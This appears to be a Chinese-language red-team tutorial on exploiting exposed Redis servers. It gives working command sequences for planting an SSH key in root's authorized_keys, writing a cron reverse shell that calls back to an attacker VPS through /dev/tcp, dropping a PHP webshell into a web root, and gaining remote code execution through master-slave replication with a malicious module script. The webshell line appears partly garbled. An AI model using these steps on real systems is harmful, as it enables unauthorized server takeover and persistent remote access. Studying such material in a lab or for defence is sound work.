redis属于非关系型数据库,在开启后默认监听端口为6379。若Redis配置不当可导致攻击者直接获取到服务器的权限。
Redis 官方不建议在 windows 下使用 Redis,所以官网没有 windows 版本可以下载。微软团队维护了开源的 windows 版本:https://github.com/microsoftarchive/redis,但是只有 3.x 版本。某次红队项目中,就碰到了windows版的redis,相较于linux下的redis,漏洞利用比较棘手,但利用思路也类似,如将shell写入到开机启动项,或者写webshell到根目录等。以下都基于linux下的redis漏洞利用
ubuntu安装redis
- #下载压缩包
- wget https://download.redis.io/releases/redis-5.0.14.tar.gz
- #解压
- tar -zxvf redis-5.0.14.tar.gz
- #编译
- cd redis-5.0.12
- #安装C语言环境
- #redis是由C语言编写的,它的运行需要C环境,所以编译前需安装 gcc。这个命令将会安装一系列软件包,包括gcc,g++,和make
- apt install build-essential
- #如果是centos则 yum -y install gcc automake autoconf libtool make
- #编译
- make && make install
安装好查看下版本,进入/redis-5.0.12/src
./redis-server --version
1.1 取消绑定本机
打开配置文在127.0.0.1前加上注释符,允许别的主机进行连接
vim /redis.conf
# bind 127.0.0.1
1.2 关闭保护模式
将protected-mode yes修改为no,如下,关闭保护模式。如果只是取消了bind,保护模式还是开启的话,依然无法远程连接。
以上两个选项不进行设置可以查看到开放了6379端口,但是无法进行连接,所以这两项一定要设置。
进入下载的redis文件中src目录
- #带上配置文件进行启动,不然配置文件不会生效
- ./redis-server /root/Desktop/redis-5.0.14/redis.conf
此时redis开始运行,靶机搭建成功。
windows下推荐这款redis图形化连接工具
下载:https://github.com/qishibo/AnotherRedisDesktopManager/
#查看redis版本信息、一些具体信息、服务器版本信息等等: 192.168.63.130:6379>info #将变量x的值设为test: 192.168.63.130:6379>set x "test" #把整个redis数据库删除,一般情况下不要用!!! 192.168.63.130:6379>flushall #查看所有键: 192.168.63.130:6379>KEYS * #获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。 192.168.63.130:6379>CONFIG GET dir 192.168.63.130:6379>CONFIG GET dbfilename
在redis存在未授权或弱密码或口令泄露的情况下,只要我们能成功连接上redis,则可以尝试如下漏洞利用方式,间接获取到redis所在服务器的权限
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
写入公钥的前提
ssh-keygen -t rsa
打开“id_rsa.pub”文件将其内容全部复制出来
设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上
- config set dir /root/.ssh/
- config set dbfilename authorized_keys
- # set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
- set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxxxx7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@sxxc\n\n\n"
- save
连接
ssh -i id_rsa root@ip
可能会出现的错误
问题原因:
.ssh 是记录密码信息的文件夹,如果目标机器没有登录过root的话,就没有 .ssh 文件夹,因此登录 localhost ,并输入密码就会生成了
- #被攻击上执行,就会生成.ssh文件夹。如果只是远程登录root的话则不会生成该文件夹
- ssh localhost
原理就是在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
利用前提:
测试系统:ubuntu20
1. vps开启监听
nc -lvnp 8089
2. redis执行
- #将反弹shell写到x键
- set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.x7/8089 0>&1\n\n"
- #设置保存路径
- config set dir /var/spool/cron/crontabs
- #设置保存名称
- config set dbfilename root
- save
此时会将计划任务保存在 “/var/spool/cron/crontab/root”中。我们输入" crontab -l ",列出存在的计划任务
但是此计划任务并没有成功,查看写入的内容,发现乱码,也就是这些乱码导致计划任务执行错误。
这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败。而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。
如果目标机器为ubuntu,那么通过redis写入的任何计划任务由于乱码的问题 计划任务都不会被执行
测试系统:centos 7
上面ubuntu写入计划任务执行失败,下面使用centos 7测试,使用root权限运行redis,然后写入如下
- # \n为换行符,此处一定要加\n,这样反弹shell语句与其他乱码语句就会分隔开不在同一行,这样才能成功反弹shell
- set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.x7/8089 0>&1\n\n"
- config set dir /var/spool/cron
- config set dbfilename root
- save
也会有乱码,但是能够成功反弹shell
若服务器运行着web服务,且web根路径已知,可通过以下指令写入webshell
经测试,centos7和ubuntu下都能成功写入并连接
- config set dir /www/admin/localhost_80/wwwroot
- config set dbfilename shell.php
- set r "\n\n\n$_POST['cmd']); ?>\n\n\n"
- save
成功写入
连接
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
利用前提
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
当slave向master发送PSYNC命令之后,一般会得到三种回复:
进行全量复制是,会将master上的RDB文件同步到slave上。而进行增量复制时,slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件。
为了能让恶意so传输到目标服务器上,这里则必须采用全量复制。
可以通过脚本实现一键自动化getshell:
- redis-rce.py -r 192.168.208.129 -P 6379 -L 192.168.43.164 -f exp.so
- # -r redis机器ip
- # -L 攻击机ip
当我们检测出一个网站存在SSRF漏洞的时候,我们就可以探测当前或者内网主机开放的端口,而这些端口往往我们从外网是不能直接探测到的,所以可以尝试利用ssrf探测内网开放的端口,当探测处内网存在redis的时候,则可以尝试进行攻击
漏洞利用前提:
具体参考:ssrf攻击redis写入websell
漏洞利用方式 | 利用前提 | 备注 |
写公钥 |
| |
反弹shell |
| |
写入web shell |
| |
主从复制 | redis 4.x/5.x | 无需root权限启动redis,获取的权限为启动用户的权限 |